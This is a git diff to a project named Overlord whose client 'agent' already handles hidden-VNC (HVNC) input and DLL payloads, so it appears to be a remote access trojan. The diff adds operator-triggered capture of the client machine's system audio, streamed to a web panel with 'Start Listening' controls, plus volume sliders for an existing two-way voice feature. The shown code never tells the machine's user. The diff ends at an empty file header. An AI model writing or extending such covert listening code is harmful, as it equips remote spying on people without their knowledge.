diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go
index 5050fe0..8a621c8 100644
--- a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go
+++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go
@@ -85,7 +85,7 @@ func ProbeCapabilities() Capabilities {
 	caps := Capabilities{
 		Available:     true,
 		RequiresCGO:   true,
-		Sources:       []string{"default"},
+		Sources:       []string{"default", "system"},
 		DefaultSource: "default",
 	}
 
@@ -350,3 +350,118 @@ func (s *Session) Close() error {
 	s.wg.Wait()
 	return nil
 }
+
+func StartCaptureOnlySession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
+	if onCapture == nil {
+		return nil, errors.New("capture callback is required")
+	}
+	source = strings.TrimSpace(source)
+
+	audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
+	if err != nil {
+		return nil, fmt.Errorf("audio init failed: %w", err)
+	}
+
+	ctx, cancel := context.WithCancel(parent)
+	s := &Session{
+		ctx:      ctx,
+		cancel:   cancel,
+		audioCtx: audioCtx,
+		uplink:   make(chan []byte, 24),
+		queue:    &playbackBuffer{},
+	}
+
+	capCfg := malgo.DefaultDeviceConfig(malgo.Capture)
+	capCfg.SampleRate = voiceSampleRate
+	capCfg.Capture.Format = malgo.FormatS16
+	capCfg.Capture.Channels = voiceChannels
+	useLoopback := false
+	if strings.EqualFold(source, "system") {
+		capCfg = malgo.DefaultDeviceConfig(malgo.Loopback)
+		capCfg.SampleRate = voiceSampleRate
+		capCfg.Capture.Format = malgo.FormatS16
+		capCfg.Capture.Channels = voiceChannels
+		useLoopback = true
+	} else if strings.HasPrefix(strings.ToLower(source), "device:") {
+		deviceName := strings.TrimSpace(source[len("device:"):])
+		deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName)
+		if !ok || deviceID == nil {
+			audioCtx.Free()
+			cancel()
+			return nil, fmt.Errorf("audio capture device was not found: %s", deviceName)
+		}
+		capCfg.Capture.DeviceID = deviceID.Pointer()
+	} else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") {
+		deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source)
+		if !ok || deviceID == nil {
+			audioCtx.Free()
+			cancel()
+			return nil, fmt.Errorf("audio capture device was not found: %s", source)
+		}
+		capCfg.Capture.DeviceID = deviceID.Pointer()
+	}
+
+	capCallbacks := malgo.DeviceCallbacks{
+		Data: func(_, input []byte, _ uint32) {
+			if len(input) == 0 {
+				return
+			}
+			chunk := append([]byte(nil), input...)
+			select {
+			case s.uplink <- chunk:
+			default:
+				select {
+				case <-s.uplink:
+				default:
+				}
+				select {
+				case s.uplink <- chunk:
+				default:
+				}
+			}
+		},
+	}
+	capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
+	if err != nil && useLoopback {
+		capCfg = malgo.DefaultDeviceConfig(malgo.Capture)
+		capCfg.SampleRate = voiceSampleRate
+		capCfg.Capture.Format = malgo.FormatS16
+		capCfg.Capture.Channels = voiceChannels
+		deviceID, _, ok := findSystemCaptureDevice(audioCtx.Context)
+		if !ok || deviceID == nil {
+			audioCtx.Free()
+			cancel()
+			return nil, errors.New("system audio capture device was not found on this client")
+		}
+		capCfg.Capture.DeviceID = deviceID.Pointer()
+		capDev, err = malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
+	}
+	if err != nil {
+		audioCtx.Free()
+		cancel()
+		return nil, fmt.Errorf("audio capture init failed: %w", err)
+	}
+	s.capture = capDev
+
+	if err := capDev.Start(); err != nil {
+		s.capture.Uninit()
+		audioCtx.Free()
+		cancel()
+		return nil, fmt.Errorf("audio capture start failed: %w", err)
+	}
+
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		for {
+			select {
+			case <-s.ctx.Done():
+				return
+			case chunk := <-s.uplink:
+				onCapture(chunk)
+			}
+		}
+	}()
+
+	return s, nil
+}
diff --git a/Overlord-Client/cmd/agent/audio/voice_stub.go b/Overlord-Client/cmd/agent/audio/voice_stub.go
index 0ca3ada..595f4e8 100644
--- a/Overlord-Client/cmd/agent/audio/voice_stub.go
+++ b/Overlord-Client/cmd/agent/audio/voice_stub.go
@@ -30,3 +30,7 @@ func (s *Session) WritePlayback(_ []byte) error {
 func (s *Session) Close() error {
 	return nil
 }
+
+func StartCaptureOnlySession(_ context.Context, _ string, _ func([]byte)) (*Session, error) {
+	return nil, errors.New("native voice support requires a CGO-enabled build")
+}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 9ae431a..8ba26d0 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -29,13 +29,15 @@ import (
 var ErrReconnect = errors.New("reconnect requested")
 
 var (
-	activeCommands   = make(map[string]context.CancelFunc)
-	activeCommandsMu sync.Mutex
-	voiceSessionMu   sync.Mutex
-	voiceSession     *voiceRuntime
-	hvncInputOnce    sync.Once
-	hvncInputQueue   chan hvncInputEvent
-	hvncInputDropped atomic.Uint64
+	activeCommands      = make(map[string]context.CancelFunc)
+	activeCommandsMu    sync.Mutex
+	voiceSessionMu      sync.Mutex
+	voiceSession        *voiceRuntime
+	desktopAudioMu      sync.Mutex
+	desktopAudioSession *voiceRuntime
+	hvncInputOnce       sync.Once
+	hvncInputQueue      chan hvncInputEvent
+	hvncInputDropped    atomic.Uint64
 )
 
 type hvncInputKind int
@@ -455,6 +457,54 @@ func writeVoiceDownlink(data []byte) error {
 	return nil
 }
 
+func stopDesktopAudioSession() {
+	desktopAudioMu.Lock()
+	v := desktopAudioSession
+	desktopAudioSession = nil
+	desktopAudioMu.Unlock()
+	if v == nil {
+		return
+	}
+	if v.cancel != nil {
+		v.cancel()
+	}
+	if v.session != nil {
+		_ = v.session.Close()
+	}
+}
+
+func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
+	if sessionID == "" {
+		return errors.New("missing desktop audio session id")
+	}
+
+	stopDesktopAudioSession()
+
+	vCtx, cancel := context.WithCancel(ctx)
+	session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) {
+		if len(chunk) == 0 {
+			return
+		}
+		msg := map[string]interface{}{
+			"type":      "desktop_audio_uplink",
+			"sessionId": sessionID,
+			"data":      chunk,
+		}
+		_ = wire.WriteMsg(vCtx, env.Conn, msg)
+	})
+	if err != nil {
+		cancel()
+		return err
+	}
+
+	v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
+	desktopAudioMu.Lock()
+	desktopAudioSession = v
+	desktopAudioMu.Unlock()
+
+	return nil
+}
+
 func extractDLLBytes(payload map[string]interface{}) []byte {
 	if payload == nil {
 		return nil
@@ -1754,6 +1804,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		caps := audio.ProbeCapabilities()
 		payload, _ := json.Marshal(caps)
 		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
+	case "desktop_audio_start":
+		sessionID, _ := envelopePayloadString(envelope, "sessionId")
+		source := "system"
+		payload, _ := envelope["payload"].(map[string]interface{})
+		if payload != nil {
+			if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
+				source = strings.TrimSpace(v)
+			}
+		}
+		if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil {
+			return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+		}
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+	case "desktop_audio_stop":
+		stopDesktopAudioSession()
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
 	}
 
 	switch action {
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index 9ed1bc1..b444ebe 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -45,6 +45,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const inputLatency = document.getElementById("inputLatency");
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
+  const audioCtrl = document.getElementById("audioCtrl");
   ws.binaryType = "arraybuffer";
 
   let activeClientId = clientId;
@@ -98,6 +99,125 @@ import { checkFeatureAccess } from "./feature-gate.js";
     h264KeyframeErrorStreak = 0;
   }
 
+  /* ── Remote Desktop Audio (system audio from client) ── */
+  const AUDIO_SAMPLE_RATE = 16000;
+  const AUDIO_PLAYBACK_FRAME = 512;
+  const AUDIO_MAX_BUFFER_MS = 120;
+  let audioWs = null;
+  let audioPlayCtx = null;
+  let audioProcessorNode = null;
+  let audioChunks = [];
+  let audioChunkOffset = 0;
+
+  function audioResampleInt16ToFloat32(srcInt16, srcRate, dstRate) {
+    if (!srcInt16 || srcInt16.length === 0) return new Float32Array(0);
+    if (srcRate === dstRate) {
+      const out = new Float32Array(srcInt16.length);
+      for (let i = 0; i < srcInt16.length; i++) out[i] = srcInt16[i] / 0x8000;
+      return out;
+    }
+    const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate));
+    const out = new Float32Array(outLength);
+    const step = srcRate / dstRate;
+    for (let i = 0; i < outLength; i++) {
+      const srcPos = i * step;
+      const i0 = Math.floor(srcPos);
+      const i1 = Math.min(i0 + 1, srcInt16.length - 1);
+      const frac = srcPos - i0;
+      out[i] = (srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac) / 0x8000;
+    }
+    return out;
+  }
+
+  function initAudioPlayback() {
+    if (!audioPlayCtx) {
+      audioPlayCtx = new AudioContext({ sampleRate: AUDIO_SAMPLE_RATE, latencyHint: "interactive" });
+    }
+    if (!audioProcessorNode) {
+      audioProcessorNode = audioPlayCtx.createScriptProcessor(AUDIO_PLAYBACK_FRAME, 1, 1);
+      audioProcessorNode.onaudioprocess = function (event) {
+        const out = event.outputBuffer.getChannelData(0);
+        out.fill(0);
+        let writeIndex = 0;
+        while (writeIndex < out.length && audioChunks.length > 0) {
+          const head = audioChunks[0];
+          const remaining = head.length - audioChunkOffset;
+          if (remaining <= 0) { audioChunks.shift(); audioChunkOffset = 0; continue; }
+          const take = Math.min(out.length - writeIndex, remaining);
+          out.set(head.subarray(audioChunkOffset, audioChunkOffset + take), writeIndex);
+          writeIndex += take;
+          audioChunkOffset += take;
+          if (audioChunkOffset >= head.length) { audioChunks.shift(); audioChunkOffset = 0; }
+        }
+      };
+      audioProcessorNode.connect(audioPlayCtx.destination);
+    }
+  }
+
+  function appendAudioPcm(binary) {
+    if (!audioPlayCtx) initAudioPlayback();
+    const samples = Math.floor(binary.byteLength / 2);
+    if (samples <= 0) return;
+    const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
+    const chunk = audioResampleInt16ToFloat32(src, AUDIO_SAMPLE_RATE, audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE);
+    if (chunk.length === 0) return;
+    audioChunks.push(chunk);
+    let buffered = -audioChunkOffset;
+    for (const c of audioChunks) buffered += c.length;
+    const rate = audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE;
+    const max = Math.max(AUDIO_PLAYBACK_FRAME, Math.round(rate * (AUDIO_MAX_BUFFER_MS / 1000)));
+    while (buffered > max && audioChunks.length > 0) {
+      const dropped = audioChunks.shift();
+      buffered -= dropped?.length || 0;
+      audioChunkOffset = 0;
+    }
+  }
+
+  function connectAudio() {
+    if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
+    // Create AudioContext in click/change handler so the browser trusts the user gesture.
+    initAudioPlayback();
+    if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
+    const proto = location.protocol === "https:" ? "wss:" : "ws:";
+    audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
+    audioWs.binaryType = "arraybuffer";
+    audioWs.onopen = function () {
+      audioWs.send(JSON.stringify({ type: "start", source: "system" }));
+    };
+    audioWs.onmessage = function (ev) {
+      if (typeof ev.data === "string") return;
+      const bytes = new Uint8Array(ev.data);
+      if (bytes.byteLength > 1) appendAudioPcm(bytes);
+    };
+    audioWs.onclose = function () { cleanupAudio(false); };
+    audioWs.onerror = function () {};
+  }
+
+  function disconnectAudio() {
+    if (audioWs) {
+      try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {}
+      try { audioWs.close(); } catch {}
+      audioWs = null;
+    }
+    cleanupAudio(true);
+  }
+
+  function cleanupAudio(uncheckBox) {
+    if (audioProcessorNode) {
+      audioProcessorNode.disconnect();
+      audioProcessorNode.onaudioprocess = null;
+      audioProcessorNode = null;
+    }
+    if (audioPlayCtx) {
+      audioPlayCtx.close().catch(function () {});
+      audioPlayCtx = null;
+    }
+    audioChunks = [];
+    audioChunkOffset = 0;
+    audioWs = null;
+    if (uncheckBox && audioCtrl) audioCtrl.checked = false;
+  }
+
   function resetH264SessionState() {
     resetH264RuntimeState();
     h264RecoveryAttempts = 0;
@@ -565,6 +685,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
     desiredStreaming = false;
     setStreamState("stopping", "Stopping stream");
     sendCmd("desktop_stop", {});
+    disconnectAudio();
   });
   fullscreenBtn.addEventListener("click", function () {
     if (canvasContainer.requestFullscreen) {
@@ -620,6 +741,15 @@ import { checkFeatureAccess } from "./feature-gate.js";
       pushCaptureToggles();
     });
   }
+  if (audioCtrl) {
+    audioCtrl.addEventListener("change", function () {
+      if (audioCtrl.checked) {
+        connectAudio();
+      } else {
+        disconnectAudio();
+      }
+    });
+  }
 
   if (qualitySlider) {
     updateQualityLabel(qualitySlider.value);
@@ -1076,6 +1206,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
 
   ws.addEventListener("close", function () {
     desiredStreaming = false;
+    disconnectAudio();
     destroyVideoDecoder();
     setStreamState("disconnected", "Disconnected");
   });
@@ -1217,6 +1348,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
       desiredStreaming = false;
       sendCmd("desktop_stop", {});
     }
+    disconnectAudio();
     destroyVideoDecoder();
   }
 
diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js
index 0310202..941b460 100644
--- a/Overlord-Server/public/assets/voice.js
+++ b/Overlord-Server/public/assets/voice.js
@@ -17,6 +17,13 @@ const remoteWaveCanvas = document.getElementById("remote-wave");
 const sourceSelect = document.getElementById("source-select");
 const muteSelfBtn = document.getElementById("mute-self-btn");
 const muteRemoteBtn = document.getElementById("mute-remote-btn");
+const micVolumeSlider = document.getElementById("mic-volume");
+const micVolumeLabel = document.getElementById("mic-volume-label");
+const remoteVolumeSlider = document.getElementById("remote-volume");
+const remoteVolumeLabel = document.getElementById("remote-volume-label");
+
+let micGain = 1.0;
+let remoteGain = 1.0;
 
 let ws = null;
 let mediaStream = null;
@@ -25,6 +32,7 @@ let processorNode = null;
 let captureAudioCtx = null;
 let playAudioCtx = null;
 let playProcessorNode = null;
+let playGainNode = null;
 let selfMuted = true;
 let remoteMuted = true;
 let playbackChunks = [];
@@ -236,6 +244,11 @@ function initPlaybackEngine() {
   if (!playAudioCtx) {
     playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
   }
+  if (!playGainNode) {
+    playGainNode = playAudioCtx.createGain();
+    playGainNode.gain.value = remoteGain;
+    playGainNode.connect(playAudioCtx.destination);
+  }
   if (!playProcessorNode) {
     playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
     playProcessorNode.onaudioprocess = (event) => {
@@ -266,7 +279,7 @@ function initPlaybackEngine() {
         }
       }
     };
-    playProcessorNode.connect(playAudioCtx.destination);
+    playProcessorNode.connect(playGainNode);
   }
 }
 
@@ -293,6 +306,9 @@ async function startMicCapture() {
 
     const inData = event.inputBuffer.getChannelData(0);
     const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate);
+    if (micGain !== 1.0) {
+      for (let i = 0; i < downsampled.length; i++) downsampled[i] *= micGain;
+    }
     localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled);
     const pcm16 = floatToInt16(downsampled);
 
@@ -319,6 +335,10 @@ function stopMicCapture() {
     playProcessorNode.onaudioprocess = null;
     playProcessorNode = null;
   }
+  if (playGainNode) {
+    playGainNode.disconnect();
+    playGainNode = null;
+  }
   if (playAudioCtx) {
     playAudioCtx.close().catch(() => {});
     playAudioCtx = null;
@@ -437,6 +457,7 @@ async function loadCapabilities() {
   }
 
   const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"];
+  if (!sources.includes("system")) sources.push("system");
   const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0];
 
   if (sourceSelect) {
@@ -468,6 +489,16 @@ muteRemoteBtn?.addEventListener("click", () => {
 });
 window.addEventListener("beforeunload", disconnectVoice);
 
+micVolumeSlider?.addEventListener("input", () => {
+  micGain = parseInt(micVolumeSlider.value, 10) / 100;
+  if (micVolumeLabel) micVolumeLabel.textContent = micVolumeSlider.value + "%";
+});
+remoteVolumeSlider?.addEventListener("input", () => {
+  remoteGain = parseInt(remoteVolumeSlider.value, 10) / 100;
+  if (playGainNode) playGainNode.gain.value = remoteGain;
+  if (remoteVolumeLabel) remoteVolumeLabel.textContent = remoteVolumeSlider.value + "%";
+});
+
 updateMuteButtons();
 drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
 drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
@@ -478,3 +509,207 @@ checkFeatureAccess("voice", clientId).then(ok => {
     connectBtn.disabled = true;
   }
 });
+
+/* =====================================================================
+   Desktop Audio – independent listen-only stream (system/loopback)
+   ===================================================================== */
+
+const daConnectBtn   = document.getElementById("da-connect-btn");
+const daDisconnectBtn = document.getElementById("da-disconnect-btn");
+const daStatusPill   = document.getElementById("da-status-pill");
+const daWaveCanvas   = document.getElementById("da-wave");
+const daVolumeSlider = document.getElementById("da-volume");
+const daVolumeLabel  = document.getElementById("da-volume-label");
+
+let daWs = null;
+let daGain = 1.0;
+let daPlayAudioCtx = null;
+let daPlayProcessorNode = null;
+let daPlayGainNode = null;
+let daPlaybackChunks = [];
+let daPlaybackChunkReadOffset = 0;
+let daLevelLoop = false;
+const DA_WAVE_SIZE = 2048;
+const daWaveBuffer = new Float32Array(DA_WAVE_SIZE);
+let daWaveWrite = 0;
+
+function daSetStatus(text, cls) {
+  if (!daStatusPill) return;
+  daStatusPill.className =
+    "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
+  daStatusPill.innerHTML = `<i class="fa-solid fa-circle"></i><span>${text}</span>`;
+}
+
+function daClearPlayback() {
+  daPlaybackChunks = [];
+  daPlaybackChunkReadOffset = 0;
+}
+
+function daStartLevelLoop() {
+  if (daLevelLoop) return;
+  daLevelLoop = true;
+  const tick = () => {
+    if (!daLevelLoop) return;
+    drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
+    requestAnimationFrame(tick);
+  };
+  requestAnimationFrame(tick);
+}
+
+function daStopLevelLoop() {
+  daLevelLoop = false;
+  daWaveBuffer.fill(0);
+  daWaveWrite = 0;
+  drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
+}
+
+function daInitPlaybackEngine() {
+  if (!daPlayAudioCtx) {
+    daPlayAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
+  }
+  if (!daPlayGainNode) {
+    daPlayGainNode = daPlayAudioCtx.createGain();
+    daPlayGainNode.gain.value = daGain;
+    daPlayGainNode.connect(daPlayAudioCtx.destination);
+  }
+  if (!daPlayProcessorNode) {
+    daPlayProcessorNode = daPlayAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
+    daPlayProcessorNode.onaudioprocess = (event) => {
+      const out = event.outputBuffer.getChannelData(0);
+      out.fill(0);
+      let writeIndex = 0;
+      while (writeIndex < out.length && daPlaybackChunks.length > 0) {
+        const head = daPlaybackChunks[0];
+        const remaining = head.length - daPlaybackChunkReadOffset;
+        if (remaining <= 0) {
+          daPlaybackChunks.shift();
+          daPlaybackChunkReadOffset = 0;
+          continue;
+        }
+        const needed = out.length - writeIndex;
+        const take = Math.min(needed, remaining);
+        out.set(head.subarray(daPlaybackChunkReadOffset, daPlaybackChunkReadOffset + take), writeIndex);
+        writeIndex += take;
+        daPlaybackChunkReadOffset += take;
+        if (daPlaybackChunkReadOffset >= head.length) {
+          daPlaybackChunks.shift();
+          daPlaybackChunkReadOffset = 0;
+        }
+      }
+    };
+    daPlayProcessorNode.connect(daPlayGainNode);
+  }
+}
+
+function daAppendPcm(binary) {
+  if (!daPlayAudioCtx) daInitPlaybackEngine();
+  const samples = Math.floor(binary.byteLength / 2);
+  if (samples <= 0) return;
+  const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
+  const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE);
+  if (chunk.length === 0) return;
+  daPlaybackChunks.push(chunk);
+  daWaveWrite = pushWaveSamples(daWaveBuffer, daWaveWrite, chunk);
+
+  const sampleRate = daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE;
+  const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000)));
+  let buffered = -daPlaybackChunkReadOffset;
+  for (const c of daPlaybackChunks) buffered += c.length;
+  while (buffered > maxSamples && daPlaybackChunks.length > 0) {
+    const dropped = daPlaybackChunks.shift();
+    buffered -= dropped?.length || 0;
+    daPlaybackChunkReadOffset = 0;
+  }
+}
+
+function daCleanup() {
+  if (daPlayProcessorNode) {
+    daPlayProcessorNode.disconnect();
+    daPlayProcessorNode.onaudioprocess = null;
+    daPlayProcessorNode = null;
+  }
+  if (daPlayGainNode) {
+    daPlayGainNode.disconnect();
+    daPlayGainNode = null;
+  }
+  if (daPlayAudioCtx) {
+    daPlayAudioCtx.close().catch(() => {});
+    daPlayAudioCtx = null;
+  }
+  daStopLevelLoop();
+  daClearPlayback();
+}
+
+function daConnect() {
+  if (daWs && daWs.readyState === WebSocket.OPEN) return;
+  daClearPlayback();
+  daStartLevelLoop();
+  // Create AudioContext inside click handler so the browser trusts the user gesture.
+  daInitPlaybackEngine();
+  if (daPlayAudioCtx?.state === "suspended") daPlayAudioCtx.resume();
+
+  const proto = window.location.protocol === "https:" ? "wss" : "ws";
+  daWs = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/desktop-audio/ws`);
+  daWs.binaryType = "arraybuffer";
+
+  daWs.onopen = () => {
+    daSetStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100");
+    daConnectBtn.disabled = true;
+    daDisconnectBtn.disabled = false;
+    daWs.send(JSON.stringify({ type: "start" }));
+  };
+
+  daWs.onmessage = (ev) => {
+    if (typeof ev.data === "string") {
+      try {
+        const msg = JSON.parse(ev.data);
+        console.log("[desktop-audio] status message:", msg);
+        if (msg?.type === "status") {
+          if (msg.status === "offline") {
+            daSetStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200");
+          } else if (msg.status === "connected") {
+            daSetStatus("Listening", "border-emerald-700 bg-emerald-900/40 text-emerald-100");
+          } else if (msg.status === "error") {
+            daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
+          }
+        }
+      } catch {}
+      return;
+    }
+    const bytes = new Uint8Array(ev.data);
+    if (bytes.byteLength > 1) daAppendPcm(bytes);
+  };
+
+  daWs.onclose = () => {
+    daCleanup();
+    daConnectBtn.disabled = false;
+    daDisconnectBtn.disabled = true;
+    daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
+  };
+
+  daWs.onerror = () => {
+    daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
+  };
+}
+
+function daDisconnect() {
+  daCleanup();
+  if (daWs) {
+    try { daWs.send(JSON.stringify({ type: "stop" })); } catch {}
+    try { daWs.close(); } catch {}
+    daWs = null;
+  }
+  daConnectBtn.disabled = false;
+  daDisconnectBtn.disabled = true;
+  daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
+}
+
+daConnectBtn?.addEventListener("click", daConnect);
+daDisconnectBtn?.addEventListener("click", daDisconnect);
+daVolumeSlider?.addEventListener("input", () => {
+  daGain = parseInt(daVolumeSlider.value, 10) / 100;
+  if (daPlayGainNode) daPlayGainNode.gain.value = daGain;
+  if (daVolumeLabel) daVolumeLabel.textContent = daVolumeSlider.value + "%";
+});
+window.addEventListener("beforeunload", daDisconnect);
+drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html
index d5138ed..84205a5 100644
--- a/Overlord-Server/public/remotedesktop.html
+++ b/Overlord-Server/public/remotedesktop.html
@@ -140,6 +140,9 @@
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
               ><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Stream system audio from the remote machine"
+              ><input type="checkbox" id="audioCtrl" /> <i class="fa-solid fa-volume-high text-slate-400"></i> Audio</label
+            >
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
               <span class="text-slate-400">Smoothing</span>
               <input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
diff --git a/Overlord-Server/public/voice.html b/Overlord-Server/public/voice.html
index e212f1f..2d1e5fd 100644
--- a/Overlord-Server/public/voice.html
+++ b/Overlord-Server/public/voice.html
@@ -54,16 +54,64 @@
 
         <div class="mt-6 space-y-4">
           <div>
-            <div class="text-sm text-slate-300 mb-1">Your Mic (You -> Client)</div>
+            <div class="flex items-center gap-3 mb-1">
+              <span class="text-sm text-slate-300">Your Mic (You -> Client)</span>
+              <div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
+                <i class="fa-solid fa-microphone"></i>
+                <input id="mic-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-cyan-500 cursor-pointer" />
+                <span id="mic-volume-label" class="w-10 text-right">100%</span>
+              </div>
+            </div>
             <canvas id="local-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
           </div>
           <div>
-            <div class="text-sm text-slate-300 mb-1">Client Audio (Client -> You)</div>
+            <div class="flex items-center gap-3 mb-1">
+              <span class="text-sm text-slate-300">Client Audio (Client -> You)</span>
+              <div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
+                <i class="fa-solid fa-volume-high"></i>
+                <input id="remote-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-emerald-500 cursor-pointer" />
+                <span id="remote-volume-label" class="w-10 text-right">100%</span>
+              </div>
+            </div>
             <canvas id="remote-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
           </div>
           <div class="text-xs text-slate-500">Uses native Go audio capture/playback on the client agent. If unavailable, rebuild agent with CGO enabled.</div>
         </div>
       </div>
+
+      <div class="max-w-4xl mx-auto mt-6 rounded-2xl border border-slate-800 bg-slate-900/70 p-6 shadow-xl">
+        <div class="flex items-center justify-between gap-3 flex-wrap">
+          <div>
+            <h1 class="text-2xl font-semibold"><i class="fa-solid fa-volume-high text-slate-400"></i> Desktop Audio</h1>
+            <p class="text-slate-400">Listen to the client's system audio (speakers/loopback). Listen-only, no mic.</p>
+          </div>
+          <span id="da-status-pill" class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full border border-slate-700 bg-slate-800 text-slate-300">
+            <i class="fa-solid fa-plug-circle-xmark"></i><span>Disconnected</span>
+          </span>
+        </div>
+
+        <div class="mt-6 grid grid-cols-1 sm:grid-cols-2 gap-4">
+          <button id="da-connect-btn" class="px-4 py-3 rounded-lg border border-emerald-700 bg-emerald-900/40 hover:bg-emerald-800/60 text-emerald-100 font-medium">
+            <i class="fa-solid fa-play"></i> Start Listening
+          </button>
+          <button id="da-disconnect-btn" class="px-4 py-3 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/60 text-red-100 font-medium" disabled>
+            <i class="fa-solid fa-stop"></i> Stop Listening
+          </button>
+        </div>
+
+        <div class="mt-4">
+          <div class="flex items-center gap-3 mb-1">
+            <span class="text-sm text-slate-300">Desktop Audio (Client Speakers -> You)</span>
+            <div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
+              <i class="fa-solid fa-volume-high"></i>
+              <input id="da-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-amber-500 cursor-pointer" />
+              <span id="da-volume-label" class="w-10 text-right">100%</span>
+            </div>
+          </div>
+          <canvas id="da-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
+        </div>
+        <div class="mt-2 text-xs text-slate-500">Captures system/loopback audio from the client. Requires a Stereo Mix or loopback capture device enabled on the client machine.</div>
+      </div>
     </main>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/voice.js"></script>
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 35ed3ba..3b24fb8 100644
